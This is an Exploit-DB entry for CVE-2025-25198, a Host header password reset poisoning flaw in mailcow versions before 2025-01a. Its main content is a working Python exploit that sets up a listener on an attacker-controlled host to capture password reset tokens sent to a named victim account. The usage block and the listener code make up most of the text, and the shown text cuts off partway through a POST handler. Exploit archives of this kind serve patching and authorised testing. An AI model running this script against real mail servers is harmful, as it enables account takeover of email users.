Exploit-DB #52485
Description: mailcow 2025-01a - Host Header Password Reset Poisoning
Type: webapps
Platform: multiple
Date: 2026-03-03
Author: alvarez

Exploit:
# Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning
# Date: 2025-10-21
# Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla)
# Vendor Homepage: https://mailcow.email
# Software Link: https://github.com/mailcow/mailcow-dockerized
# Version: < 2025-01a  (REQUIRED)
# Tested on: Ubuntu 22.04.5 LTS, Docker 26.1.3, Docker Compose 2.27.1; mailcow:dockerized 2025-01
# CVE : CVE-2025-25198
# PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git
# mailcow: dockerized < 2025-01a - Host Header Password Reset Poisoning (CVE-2025-25198)

# Description:
# A flaw in mailcow’s password reset allows Host header poisoning to generate a
# reset link pointing to an attacker-controlled domain, potentially enabling account
# takeover if a user clicks the poisoned link. Patched in 2025-01a.

# References:
# - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25198
# - Vendor advisory: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf

# Usage (authorized testing only):
#   sudo python3 cve-2025-25198.py \
#     --listen-host 0.0.0.0 \
#     --base-url https://mail.target.tld \
#     --username victim@target.tld \
#     --attacker-host your.ip.or.dns \
#     --http2

# Requirements:
#   Python 3.8+ ; pip install httpx  (or 'requests' for HTTP/1.1)

# Legal:
#   For authorized security testing only. Do NOT target live websites.

from __future__ import annotations

import argparse
import http.server
import os
import re
import ssl
import subprocess
import sys
import threading
from datetime import datetime, timezone
from http import HTTPStatus
from http.server import SimpleHTTPRequestHandler
from typing import Optional, Dict, List, Tuple
from urllib.parse import urlparse, parse_qs

try:
    import requests
except Exception:
    requests = None

RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
MAGENTA = "\033[35m"

ANSI_RE = re.compile(r'\x1b\[[0-9;]*m')

def visible_len(s: str) -> int:
    return len(ANSI_RE.sub('', s))

class Console:
    def __init__(self, only_final: bool = False) -> None:
        self.only_final = only_final

    def log(self, msg: str) -> None:
        if self.only_final:
            return
        ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z")
        print(f"{DIM}[{ts}]{RESET} {msg}", flush=True)

    def banner(self, link: str, source: str = "response") -> None:
        host = urlparse(link).hostname or ""
        title = f"  {BOLD}{GREEN}RESET LINK FOUND!{RESET}  {DIM}({source}){RESET}"
        link_line = f"  {CYAN}{link}{RESET}"
        target_line = f"  Target: {BOLD}{host}{RESET}" if host else ""
        max_content = max(
            visible_len(title),
            visible_len(link_line),
            visible_len(target_line) if host else 0
        )
        inner_width = max(80, min(150, max_content))
        line = "═" * inner_width
        def box_line(content: str) -> str:
            pad = inner_width - visible_len(content)
            if pad < 0:
                pad = 0
            return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}"
        print("")
        print(f"{MAGENTA}╔{line}╗{RESET}")
        print(box_line(title))
        print(f"{MAGENTA}╟{line}╢{RESET}")
        print(box_line(link_line))
        if host:
            print(box_line(target_line))
        print(f"{MAGENTA}╚{line}╝{RESET}")
        print("")

console = Console(False)

RGX_TOKEN_IN_URL = re.compile(r'reset-password\?token=([^\s"&\'<>]+)', re.I)
RGX_TOKEN_FALLBACK = re.compile(r'\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\b', re.I)

def links_from_text(html: str, base_url: str) -> List[str]:
    if not html:
        return []
    out: List[str] = []
    for m in RGX_TOKEN_IN_URL.finditer(html):
        out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}")
    for m in RGX_TOKEN_FALLBACK.finditer(html):
        cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}"
        if cand not in out:
            out.append(cand)
    return out

def links_from_headers(headers: Dict[str, str], base_url: str) -> List[str]:
    loc = headers.get("Location") or headers.get("location")
    return links_from_text(loc, base_url) if loc else []

class ListenerState:
    def __init__(self) -> None:
        self.event = threading.Event()
        self.last_link: Optional[str] = None

class LoggingHTTPSHandler(SimpleHTTPRequestHandler):
    server_version = "PoisonedHostTest/host-only"
    error_content_type = "text/plain"

    def log_message(self, *_: object) -> None:
        return

    def _record(self, code: int) -> None:
        parsed = urlparse(self.path)
        token = parse_qs(parsed.query).get("token") or []
        if token:
            link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}"
            self.server.state.last_link = link
            self.server.state.event.set()
        if not console.only_final:
            console.log(f"{YELLOW}[HIT]{RESET} {self.command} {self.path} ← {self.client_address[0]} [{code}]")

    def do_GET(self) -> None:
        if self.path.startswith("/favicon"):
            self.send_response(HTTPStatus.NO_CONTENT); self.end_headers(); return
        self.send_response(HTTPStatus.OK)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.end_headers()
        token = parse_qs(urlparse(self.path).query).get("token", [""])[0]
        body = f"<!doctype html><meta charset=utf-8><title>OK</title><p>token: <b>{token}</b></p>"
        self.wfile.write(body.encode("utf-8"))
        self._record(HTTPStatus.OK)

    def do_POST(self) -> None:
        _ = self.rfile.read(int(self.headers.get("Content-Length", "0") or 0))
        self.send_response(HTTPStatus.NO_CONTENT); self.end_head